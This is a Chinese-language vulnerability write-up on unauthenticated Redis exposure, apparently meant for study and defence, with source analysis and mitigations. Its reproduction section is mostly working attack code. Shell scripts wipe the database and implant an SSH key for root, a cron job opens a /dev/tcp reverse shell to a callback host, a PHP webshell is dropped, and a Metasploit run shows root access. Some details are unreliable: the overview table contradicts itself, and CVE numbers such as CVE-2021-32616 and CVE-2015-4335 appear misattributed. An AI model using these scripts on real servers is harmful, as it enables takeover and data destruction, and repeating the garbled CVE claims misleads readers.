一、漏洞简介

1.1 漏洞背景

Redis(Remote Dictionary Server)是一个开源的内存数据结构存储系统,被广泛用作数据库、缓存和消息代理。自 2009 年发布以来,Redis 凭借其高性能和丰富的数据结构支持,成为全球最流行的 NoSQL 数据库之一。

然而,Redis 的设计理念强调"简单易用",在早期版本中默认绑定 0.0.0.0:6379默认不开启认证。这种配置虽然方便了开发和部署,但也导致了严重的安全隐患。2015 年开始,大量暴露在公网的 Redis 实例遭到攻击,攻击者利用未授权访问漏洞实现: - 敏感数据窃取 - 写入 SSH 公钥实现服务器入侵 - 写入 crontab 任务 - 写入 webshell - 利用主从复制进行 RCE

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 暂无统一编号
危害等级 暂未找到权威信息
漏洞类型 Redis 未授权访问漏洞
披露时间 暂未找到权威信息
影响组件 Redis
属性
CVE 编号 无正式 CVE(设计缺陷)
危害等级 高危 (High)
CVSS 评分 9.8 (Critical) - 自定义评估
漏洞类型 认证缺失 / 未授权访问 (CWE-306)
首次披露 2015 年 11 月
广泛利用时间 2015 年至今

核心问题:Redis 默认配置不要求身份验证,若实例直接暴露在公网,任何人都可以连接并执行任意命令。

<hr />

核验说明:该问题未见统一 CVE 编号,本文结合原文与公开资料进行整理。

二、影响范围

2.1 受影响的版本

所有未配置认证的 Redis 版本,包括但不限于: - Redis 2.x 系列(2.0.0 - 2.8.24) - Redis 3.x 系列(3.0.0 - 3.2.13) - Redis 4.x 系列(4.0.0 - 4.0.14) - Redis 5.x 系列(5.0.0 - 5.0.14) - Redis 6.x 系列(6.0.0 - 6.2.7) - Redis 7.x 系列(7.0.0 - 7.2.x,未配置认证时)

注意:版本号本身不是关键因素,配置才是决定性因素

2.2 不受影响的版本

以下配置的 Redis 实例不受此漏洞影响: 1. 启用了 requirepass 认证的实例 2. 绑定在 127.0.0.1 或内网 IP 的实例 3. 通过防火墙/安全组限制访问的实例 4. 启用 Redis 6.0+ ACL 功能且配置了强认证的实例 5. 通过 Redis Sentinel 或 Cluster 模式且配置了认证的实例

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

攻击成功的必要条件: 1. 网络可达:Redis 端口(默认 6379)可从攻击者网络访问 2. 未配置认证redis.confrequirepass 为空或注释 3. 有写入权限:Redis 进程对目标目录有写权限(用于写入 SSH key、crontab 等) 4. 重启条件:对于某些利用方式需要 Redis 或服务器重启

<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Redis 的通信协议极其简单,基于 TCP 的纯文本协议。客户端连接后可直接发送命令,无需握手或认证(除非配置了 requirepass)。

攻击流程图

┌─────────────┐         ┌──────────────────────┐
│  攻击者     │ ──TCP──▶│ Redis Server (6379)  │
│  任意 IP    │         │ 无认证绑定 0.0.0.0   │
└─────────────┘         └──────────────────────┘
       │                          │
       │  1. 直接连接成功          │
       │  2. 执行 INFO 命令        │
       │  3. 获取服务器信息        │
       │  4. 执行 CONFIG GET dir   │
       │  5. 修改数据库目录        │
       │  6. 写入恶意数据          │
       │  7. 触发文件落地          │
       ▼                          ▼

四种主要利用方式

方式一:写入 SSH 公钥

# 攻击者生成密钥对
ssh-keygen -t rsa -C "attacker@evil.com"

# 构造恶意 Redis 命令
redis-cli -h <target_ip> flushall
redis-cli -h <target_ip> CONFIG SET dir /root/.ssh/
redis-cli -h <target_id> CONFIG SET dbfilename authorized_keys

# 将公钥写入 Redis
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") | redis-cli -h <target_ip> -x SET ssh_key

# 保存数据库
redis-cli -h <target_ip> save

# 尝试 SSH 登录
ssh -i ~/.ssh/id_rsa root@<target_ip>

方式二:写入 crontab 任务

# 反弹 shell 到攻击者服务器
redis-cli -h <target_ip> flushall
redis-cli -h <target_ip> CONFIG SET dir /var/spool/cron/
redis-cli -h <target_ip> CONFIG SET dbfilename root

# 写入 cron 任务
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1\n\n" | redis-cli -h <target_ip> -x SET cron_job

redis-cli -h <target_ip> save

方式三:写入 webshell

# 假设知道 web 目录路径
redis-cli -h <target_ip> CONFIG SET dir /var/www/html/
redis-cli -h <target_ip> CONFIG SET dbfilename shell.php

echo -e "<?php system($_GET['cmd']); ?>" | redis-cli -h <target_ip> -x SET webshell

redis-cli -h <target_ip> save

# 访问 http://target/shell.php?cmd=id

方式四:主从复制 RCE

CVE-2021-32616

3.2 源码层面的根因分析(结合源码与补丁对比)

Redis 源码分析(基于 Redis 6.0)

server.c 中,Redis 服务器启动时处理绑定和认证:

// server.c: initServerConfig()
void initServerConfig(void) {
    // ... 其他初始化 ...

    // 默认绑定所有接口
    server.bindaddr_count = 0;  // 空数组意味着绑定 0.0.0.0

    // 默认无密码
    server.requirepass = NULL;  // 关键:默认为空

    // ... 其他配置 ...
}

networking.c 中处理客户端连接:

// networking.c: acceptTcpHandler()
void acceptTcpHandler(aeEventLoop *el, int fd, void *privdata, int mask) {
    int cport, cfd, max = MAX_ACCEPTS_PER_CALL;
    char cip[NET_IP_STR_LEN];

    while(max--) {
        cfd = anetTcpAccept(server.neterr, fd, cip, sizeof(cip), &cport);
        if (cfd == ANET_ERR) {
            if (errno != EWOULDBLOCK)
                serverLog(LL_WARNING,
                    "Accepting client connection: %s", server.neterr);
            return;
        }
        serverLog(LL_VERBOSE,"Accepted %s:%d", cip, cport);
        acceptCommonHandler(connCreateAcceptedSocket(cfd),0,cip);
    }
}

// 创建客户端连接处理
static void acceptCommonHandler(connection *conn, int flags, char *ip) {
    client *c;

    // 创建客户端结构 - 注意:没有认证检查!
    c = createClient(conn);

    // ... 省略其他逻辑 ...
}

commands.c (Redis 6.0+) 或 server.c (旧版本) 中,命令执行时的认证检查:

// 处理命令前的认证检查
int processCommand(client *c) {
    // ... 其他检查 ...

    // 检查是否需要认证
    if (server.requirepass && !c->authenticated) {
        // 如果设置了密码但客户端未认证
        if (strcasecmp(c->argv[0]->ptr, "AUTH") != 0 &&
            strcasecmp(c->argv[0]->ptr, "QUIT") != 0 &&
            strcasecmp(c->argv[0]->ptr, "HELLO") != 0) {
            rejectCommand(c,shared.noautherr);
            return C_OK;
        }
    }

    // ... 执行命令 ...
}

问题根源: 1. server.requirepass 默认为 NULL:不要求认证 2. 绑定地址默认为空:监听所有网络接口 3. 配置加载顺序:即使提供了 redis.conf,如果未正确设置,仍保持默认值

相关的配置文件 redis.conf

# 默认配置(问题配置)
# bind 127.0.0.1              # 注释状态 -> 绑定 0.0.0.0
# requirepass foobared        # 注释状态 -> 无密码

# 安全配置示例
bind 127.0.0.1                # 仅本地访问
requirepass "your_strong_password_here"  # 设置强密码
protected-mode yes            # 保护模式
<hr />

四、漏洞复现(可选)

4.1 环境搭建

环境信息: - 目标服务器:Ubuntu 20.04 LTS - 攻击机:Kali Linux / 任意 Linux - Redis 版本:5.0.7(未配置认证)

安装 Redis(目标机)

# 更新系统
sudo apt update && sudo apt upgrade -y

# 安装 Redis
sudo apt install redis-server -y

# 修改配置使其监听所有接口(模拟漏洞环境)
sudo sed -i 's/^bind 127.0.0.1 ::1$/bind 0.0.0.0/' /etc/redis/redis.conf
sudo sed -i 's/^protected-mode yes$/protected-mode no/' /etc/redis/redis.conf

# 确保无密码(默认就是无密码)
sudo sed -i 's/^requirepass.*/# requirepass/' /etc/redis/redis.conf

# 重启 Redis
sudo systemctl restart redis-server

# 验证 Redis 状态
sudo systemctl status redis-server

验证 Redis 监听状态

$ netstat -tlnp | grep 6379
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      1234/redis-server

$ ss -tlnp | grep 6379
LISTEN    0         511                0.0.0.0:6379             0.0.0.0:*

防火墙设置(可选,模拟公网暴露)

# 开放 Redis 端口
sudo ufw allow 6379/tcp
sudo ufw reload

4.2 PoC 演示与测试过程

PoC 1:基础信息收集

# 在攻击机上执行

# 直接连接测试
$ redis-cli -h 192.168.1.100 -p 6379
192.168.1.100:6379>

# 查看服务器信息
192.168.1.100:6379> INFO
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd6f6a41c947e4
redis_mode:standalone
os:Linux 5.4.0-42-generic x86_64
arch_bits:64
# ... 更多信息 ...

# 查看配置
192.168.1.100:6379> CONFIG GET *
 1) "dbfilename"
 2) "dump.rdb"
 3) "requirepass"
 4) ""
 5) "masterauth"
 6) ""
 7) "cluster-announce-ip"
 8) ""
 9) "maxmemory"
10) "0"
# ...

# 查看当前目录
192.168.1.100:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"

# 查看数据库文件名
192.168.1.100:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"

# 查看所有键
192.168.1.100:6379> KEYS *
(empty list or set)

# 测试写入权限
192.168.1.100:6379> SET test "vulnerable"
OK
192.168.1.100:6379> GET test
"vulnerable"

PoC 2:写入 SSH 公钥

# 攻击机操作

# 1. 生成 SSH 密钥对(如果没有)
$ ssh-keygen -t rsa -b 2048 -f ./redis_ssh_key -N ""
Generating public/private rsa key pair.
Your identification has been saved in ./redis_ssh_key.
Your public key has been saved in ./redis_ssh_key.pub.

# 2. 查看生成的公钥
$ cat redis_ssh_key.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7... user@kali

# 3. 构造完整的攻击脚本
$ cat > redis_ssh_exploit.sh << 'EOF'
#!/bin/bash

TARGET_IP=$1
SSH_KEY=$(cat ./redis_ssh_key.pub)

echo "[*] Connecting to Redis at $TARGET_IP..."

# 清空数据库(注意:会删除所有数据!)
redis-cli -h $TARGET_IP FLUSHALL
echo "[+] Database flushed"

# 修改 Redis 配置
redis-cli -h $TARGET_IP CONFIG SET dir /root/.ssh/
echo "[+] Directory set to /root/.ssh/"

redis-cli -h $TARGET_IP CONFIG SET dbfilename authorized_keys
echo "[+] DB filename set to authorized_keys"

# 写入 SSH 公钥(前后加换行符确保格式正确)
(echo -e "\n\n$SSH_KEY\n\n") | redis-cli -h $TARGET_IP -x SET sshkey
echo "[+] SSH key written to Redis"

# 保存数据库到文件
redis-cli -h $TARGET_IP SAVE
echo "[+] Database saved to authorized_keys"

# 恢复原始配置
redis-cli -h $TARGET_IP CONFIG SET dir /var/lib/redis/
redis-cli -h $TARGET_IP CONFIG SET dbfilename dump.rdb

echo "[*] Exploit complete!"
echo "[*] Try: ssh -i ./redis_ssh_key root@$TARGET_IP"
EOF

$ chmod +x redis_ssh_exploit.sh

# 4. 执行利用脚本
$ ./redis_ssh_exploit.sh 192.168.1.100
[*] Connecting to Redis at 192.168.1.100...
[+] Database flushed
[+] Directory set to /root/.ssh/
[+] DB filename set to authorized_keys
[+] SSH key written to Redis
[+] Database saved to authorized_keys
[*] Exploit complete!
[*] Try: ssh -i ./redis_ssh_key root@192.168.1.100

# 5. 验证 SSH 登录
$ ssh -i ./redis_ssh_key root@192.168.1.100
The authenticity of host '192.168.1.100 (192.168.1.100)' can't be established.
ECDSA key fingerprint is SHA256:...
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.100' (ECDSA) to the list of known hosts.

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)

root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

root@ubuntu:~# cat /root/.ssh/authorized_keys

REDIS0009�      redis-ver5.0.7�
�edis-bits@a�etime�y�used-mem�a
                                 �sshkey

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7... user@kali

`�

root@ubuntu:~#

注意:authorized_keys 文件中包含 Redis 数据库格式的二进制数据,但 SSH 能够正确解析出其中的公钥。

PoC 3:写入 Crontab 反弹 Shell

# 攻击机操作

# 1. 启动监听
$ nc -lvnp 4444
listening on [any] 4444 ...

# 2. 在另一个终端执行利用
$ cat > redis_cron_exploit.sh << 'EOF'
#!/bin/bash

TARGET_IP=$1
CALLBACK_IP=$2
CALLBACK_PORT=$3

echo "[*] Target: $TARGET_IP"
echo "[*] Callback to: $CALLBACK_IP:$CALLBACK_PORT"

# 清空数据库
redis-cli -h $TARGET_IP FLUSHALL
echo "[+] Database flushed"

# 设置目录和文件
redis-cli -h $TARGET_IP CONFIG SET dir /var/spool/cron/
redis-cli -h $TARGET_IP CONFIG SET dbfilename root

# 写入 cron 任务(每分钟执行一次反弹 shell)
CRON_CMD="*/1 * * * * /bin/bash -i >& /dev/tcp/$CALLBACK_IP/$CALLBACK_PORT 0>&1"
(echo -e "\n\n$CRON_CMD\n\n") | redis-cli -h $TARGET_IP -x SET cron
echo "[+] Cron job written"

# 保存
redis-cli -h $TARGET_IP SAVE
echo "[+] Cron saved"

echo "[*] Waiting for callback..."
EOF

$ chmod +x redis_cron_exploit.sh
$ ./redis_cron_exploit.sh 192.168.1.100 192.168.1.200 4444

# 3. 等待约 1 分钟后收到回调
# 在 nc 监听窗口:
connect to [192.168.1.200] from (UNKNOWN) [192.168.1.100] 45678
bash: cannot set terminal process group (1234): Inappropriate ioctl for device
bash: no job control in this shell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)

PoC 4:自动化扫描脚本

#!/usr/bin/env python3
# redis_unauth_scanner.py

import socket
import sys
from concurrent.futures import ThreadPoolExecutor

def check_redis_unauth(ip, port=6379, timeout=3):
    """
    检测 Redis 未授权访问
    """
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        s.connect((ip, port))

        # 发送 INFO 命令
        s.send(b"*1\r\n$4\r\nINFO\r\n")
        response = s.recv(4096).decode('utf-8', errors='ignore')

        s.close()

        # 检查响应是否包含 Redis 版本信息
        if 'redis_version' in response and 'NOAUTH' not in response:
            return True, response
        elif 'NOAUTH' in response:
            return False, "Authentication required"
        else:
            return False, "Unknown response"

    except socket.timeout:
        return False, "Timeout"
    except socket.error as e:
        return False, str(e)
    except Exception as e:
        return False, str(e)

def scan_network(network_range, port=6379):
    """
    扫描网段(简化版,实际应使用 IPy 或类似库)
    """
    # 这里简化为扫描单个 IP 或从文件读取
    # 实际使用时可以使用 nmap 或 masscan 配合
    pass

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <ip> [port]")
        print(f"Example: {sys.argv[0]} 192.168.1.100")
        print(f"Example: {sys.argv[0]} 192.168.1.100 6379")
        sys.exit(1)

    target_ip = sys.argv[1]
    target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379

    print(f"[*] Checking {target_ip}:{target_port}...")

    vulnerable, result = check_redis_unauth(target_ip, target_port)

    if vulnerable:
        print(f"[+] VULNERABLE! {target_ip}:{target_port}")
        print("\n=== Redis INFO Response ===")
        # 提取关键信息
        for line in result.split('\n'):
            if any(key in line for key in ['redis_version', 'os', 'arch_bits', 'tcp_port', 'connected_clients']):
                print(f"  {line}")
    else:
        print(f"[-] Not vulnerable or not accessible: {result}")

if __name__ == "__main__":
    main()

使用示例

$ python3 redis_unauth_scanner.py 192.168.1.100
[*] Checking 192.168.1.100:6379...
[+] VULNERABLE! 192.168.1.100:6379

=== Redis INFO Response ===
  redis_version:5.0.7
  os:Linux 5.4.0-42-generic x86_64
  arch_bits:64
  tcp_port:6379
  connected_clients:1

PoC 5:使用 Metasploit

$ msfconsole

msf6 > search redis

Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  auxiliary/scanner/redis_file_upload                        normal     No     Redis File Upload
   1  auxiliary/scanner/redis_server                             normal     No     Redis Command Line Scanner
   2  exploit/linux/redis/redis_unauth_exec     2015-11-11       excellent  Yes    Redis Unauth Remote Command Execution

msf6 > use exploit/linux/redis/redis_unauth_exec
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

msf6 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 192.168.1.100
RHOSTS => 192.168.1.100

msf6 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.200
LHOST => 192.168.1.200

msf6 exploit(linux/redis/redis_unauth_exec) > set TARGET 0
TARGET => 0  # 0=SSH key, 1=Cron, 2=Redis module

msf6 exploit(linux/redis/redis_unauth_exec) > exploit

[*] Started reverse TCP handler on 192.168.1.200:4444
[*] 192.168.1.100:6379 - Connecting to Redis server
[*] 192.168.1.100:6379 - Redis server is vulnerable (no auth required)
[*] 192.168.1.100:6379 - Sending SSH key payload...
[*] 192.168.1.100:6379 - SSH key written successfully
[*] 192.168.1.100:6379 - Attempting to login with SSH key...
[*] Command shell session 1 opened (192.168.1.200:4444 -> 192.168.1.100:45678)

id
uid=0(root) gid=0(root) groups=0(root)
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

Redis 官方建议

  1. Redis 6.0 及以上版本
  2. 使用 ACL(访问控制列表)功能
  3. 启用 protected-mode(保护模式)

```conf # redis.conf protected-mode yes bind 127.0.0.1 requirepass "your_very_strong_password_here!"

# 或使用 ACL user default on >very_strong_password ~ & +@all ```

  1. Redis 5.0 及以下版本conf # redis.conf bind 127.0.0.1 requirepass "complex_password_with_special_chars!@#$%"

  2. 最新稳定版本(截至 2024 年):

  3. Redis 7.2.x(推荐)
  4. Redis 7.0.x
  5. Redis 6.2.x

升级步骤

# Ubuntu/Debian
sudo apt update
sudo apt install redis-server

# CentOS/RHEL
sudo yum update redis
# 或
sudo dnf update redis

# 从源码编译
wget https://github.com/redis/redis/archive/refs/tags/7.2.4.tar.gz
tar xzf 7.2.4.tar.gz
cd redis-7.2.4
make
sudo make install

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

方案 1:配置认证密码

# 编辑 redis.conf
sudo nano /etc/redis/redis.conf

# 添加或修改以下行
requirepass "Y0ur_V3ry_Str0ng_P@ssw0rd_Here!"

# 重启 Redis
sudo systemctl restart redis-server

# 验证配置
redis-cli
127.0.0.1:6379> PING
(error) NOAUTH Authentication required.
127.0.0.1:6379> AUTH Y0ur_V3ry_Str0ng_P@ssw0rd_Here!
OK
127.0.0.1:6379> PING
PONG

方案 2:限制绑定地址

# 仅监听本地
sudo sed -i 's/^bind .*/bind 127.0.0.1/' /etc/redis/redis.conf

# 或监听特定内网 IP
sudo sed -i 's/^bind .*/bind 127.0.0.1 10.0.0.100/' /etc/redis/redis.conf

# 启用保护模式
sudo sed -i 's/^protected-mode.*/protected-mode yes/' /etc/redis/redis.conf

sudo systemctl restart redis-server

方案 3:防火墙规则

# iptables 示例
# 仅允许特定 IP 访问 Redis
sudo iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.0/24 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 6379 -j DROP

# 保存规则
sudo iptables-save > /etc/iptables/rules.v4

# UFW 示例
sudo ufw deny 6379/tcp
sudo ufw allow from 10.0.0.0/24 to any port 6379
sudo ufw reload

# firewalld 示例
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="10.0.0.0/24" port protocol="tcp" port="6379" accept'
sudo firewall-cmd --reload

方案 4:使用 Unix Socket(本地访问)

# redis.conf
# 禁用 TCP
port 0

# 启用 Unix socket
unixsocket /var/run/redis/redis.sock
unixsocketperm 700
# 连接方式改变
redis-cli -s /var/run/redis/redis.sock

方案 5:使用 TLS/SSL 加密(Redis 6.0+)

# redis.conf
tls-port 6379
port 0

tls-cert-file /etc/redis/redis.crt
tls-key-file /etc/redis/redis.key
tls-ca-cert-file /etc/redis/ca.crt
tls-auth-clients yes
requirepass "your_password"

方案 6:使用 Redis 6.0+ ACL

# redis-cli 配置 ACL
127.0.0.1:6379> ACL SETUSER admin on >admin_password ~* &* +@all
OK
127.0.0.1:6379> ACL SETUSER readonly on >readonly_password ~* &* +@read +@connection
OK
127.0.0.1:6379> ACL SETUSER default off
OK
127.0.0.1:6379> ACL SAVE
OK

# 查看用户列表
127.0.0.1:6379> ACL LIST
1) "user admin on #hash... ~* &* +@all"
2) "user default off ~* &* -@all"
3) "user readonly on #hash... ~* &* +@read +@connection"

方案 7:重命名危险命令

# redis.conf - 禁用或重命名危险命令
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command KEYS ""
rename-command DEBUG ""
rename-command MODULE ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command SCRIPT ""
# 或重命名为复杂名称
rename-command CONFIG "CONFIG_7f8a9b2c3d"

方案 8:服务降权运行

# 创建 redis 专用用户
sudo useradd -r -s /bin/false redis

# 修改文件权限
sudo chown -R redis:redis /var/lib/redis
sudo chown -R redis:redis /var/log/redis

# 修改 systemd 服务文件
sudo nano /etc/systemd/system/redis.service

# 确保包含
[Service]
User=redis
Group=redis

# 重载并重启
sudo systemctl daemon-reload
sudo systemctl restart redis

方案 9:使用 VPN 或 SSH 隧道

# SSH 隧道方式访问远程 Redis
ssh -L 6379:127.0.0.1:6379 user@redis-server -N

# 本地连接
redis-cli -h 127.0.0.1 -p 6379
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  1. Redis 官方安全页面
  2. https://redis.io/docs/management/security/
  3. https://github.com/redis/redis/security

  4. Redis 访问控制文档

  5. https://redis.io/docs/management/security/acl/

  6. Redis 保护模式说明

  7. https://redis.io/docs/management/security/#protected-mode

6.2 其他技术参考资料

  1. Shodan 搜索结果
  2. 搜索词:port:6379 product:Redis
  3. 全球暴露的 Redis 实例数量:数十万计

  4. 相关 CVE 和漏洞

  5. CVE-2015-4335(未正式分配)
  6. 多个 Redis 相关 CVE 记录在 NVD

  7. 安全研究报告

  8. "Analysis of Redis-based Attacks" - Imperva
  9. "Redis Hacking Techniques" - HackTricks
  10. "Redis Pentesting" - Pentest-book

  11. 防护指南

  12. OWASP: Redis Security Best Practices
  13. CIS Redis Benchmark

  14. 相关工具

  15. redis-cli(官方命令行工具)
  16. Nmap NSE script: redis-info
  17. Metasploit: auxiliary/scanner/redis_server